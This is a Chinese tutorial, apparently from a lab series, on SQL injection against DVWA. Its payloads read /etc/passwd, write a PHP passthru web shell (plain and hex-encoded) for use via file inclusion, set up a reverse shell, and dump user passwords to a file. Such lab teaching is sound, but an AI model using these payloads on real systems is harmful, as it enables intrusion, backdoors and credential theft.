美文网首页
二十二、SQL注入(3)读取/写入/下载数据文件

二十二、SQL注入(3)读取/写入/下载数据文件

作者: cybeyond | 来源:发表于2017-11-10 14:23 被阅读0次

1、读取文件

' union select null, load_file('/etc/passwd')--+
burpsuite修改id参数提交 loadfile读取文件结果

2、写入文件

mysql的默认家目录的属主属组都是mysql,想要写入的a.php放在/var/www/目录下(为方便http访问时执行命令),但/var/www/目录下的属主、属组为www-data,mysql用户没有权限写入,因此下面的命令会执行不成功。

' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+
写入文件失败
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "a.php" --+    //默认会放到/va/lib/mysql/dvwa/目录下
不选择写入路径执行
a.php放置路径

但是结合上一章节的文件包含漏洞,由于/tmp目录是一个特殊的目录,所有人具有rwx权限,是不是能利用上述的写入文件到/tmp目录下,然后结合之前的文件包含在include进来,达到想要的效果呢?

将文件写入到/tmp/aa.php

' union select null,"<?php passthru($_GET['cmd']); ?>" into dumpfile "/tmp/aa.php"--+
aa.php写入/tmp/下
使用file include利用aa.php执行命令 文件包含漏洞利用

3、使用反弹shell执行sql注入

复制反弹shell脚本

#/usr/share/webshells/php# cp php-reverse-shell.php /root/b.php  //复制反弹脚本到/root目录下

修改脚本反弹IP,为kali本机IP

image.png
编码十六进制转换此反弹shell
cat b.php | xxd -ps | tr -d '\n'   //xxd为十六进制转换,使用tr删除转换后的换行,所有为一行输出
显示超出了服务的范围

换一个方法,尝试将上面的一句话木马转换为16进制然后执行
<?php passthru($_GET['cmd']); ?>写入c.php中,并转换十六进制:

转换十六进制

执行sql注入,并将十六进制数据写入/tmp/cc.php

' union select null,(0x3c3f70687020706173737468727528245f4745545b27636d64275d293b203f3e0a) INTO DUMPFILE "/tmp/cc.php" --+

查看/tmp/cc.php,已经是服务端转换后的代码了:


查看cc.php 执行结果

4、保存下载数据库

将用户名、密码表保存在职至/tmp/aa.db中

' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/aa.db'-- 

然后通过file include访问/tmp/aa.db文件


用户名和密码

相关文章

  • 二十二、SQL注入(3)读取/写入/下载数据文件

    1、读取文件 2、写入文件 mysql的默认家目录的属主属组都是mysql,想要写入的a.php放在/var/ww...

  • Vulnhub靶机:AI-Web-1.0

    标签:SQL注入、sqlmap写shell、反弹shell、写入passwd提权 0x00 环境准备 下载地址:h...

  • mysql的UDF提权小技巧

    三个函数间的区别 在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入...

  • Django 常见Web攻击

    1、sql注入攻击与防范 sql注入是黑客攻击数据库最常用的手段。sql注入的危害: 非法读取、篡改、删除数据库中...

  • Spark SQL的JDBC读写

    1.读取/写入属性配置 Spark SQL支持以JDBC的方式读取或写入数据。用户可以使用Data Sources...

  • 常用Python 读写excel、csv文件的操作办法

    1、excel 写入 2、excel读取 3、写入csv 4、读取csv

  • 学习笔记 face

    1.使用预处理语句防 sql注入 sql注入 id = "1 or 1=1"; 2.写入数据库的数据要进行特殊字符...

  • 代码安全

    PHP 常见的安全情况: SQL 注入 XSS 攻击 关于 SQL注入 大部分是因为对写入数据库的数据没有进行验证...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

  • web安全。 简述SQL注入、XSS、CSRF

    SQL注入 SQL注入攻击就是攻击者把SQL语句写入到表单的输入框或者页面get请求的查询字符串,来达到欺骗服务器...

网友评论

      本文标题:二十二、SQL注入(3)读取/写入/下载数据文件

      本文链接:https://www.haomeiwen.com/subject/cekmmxtx.html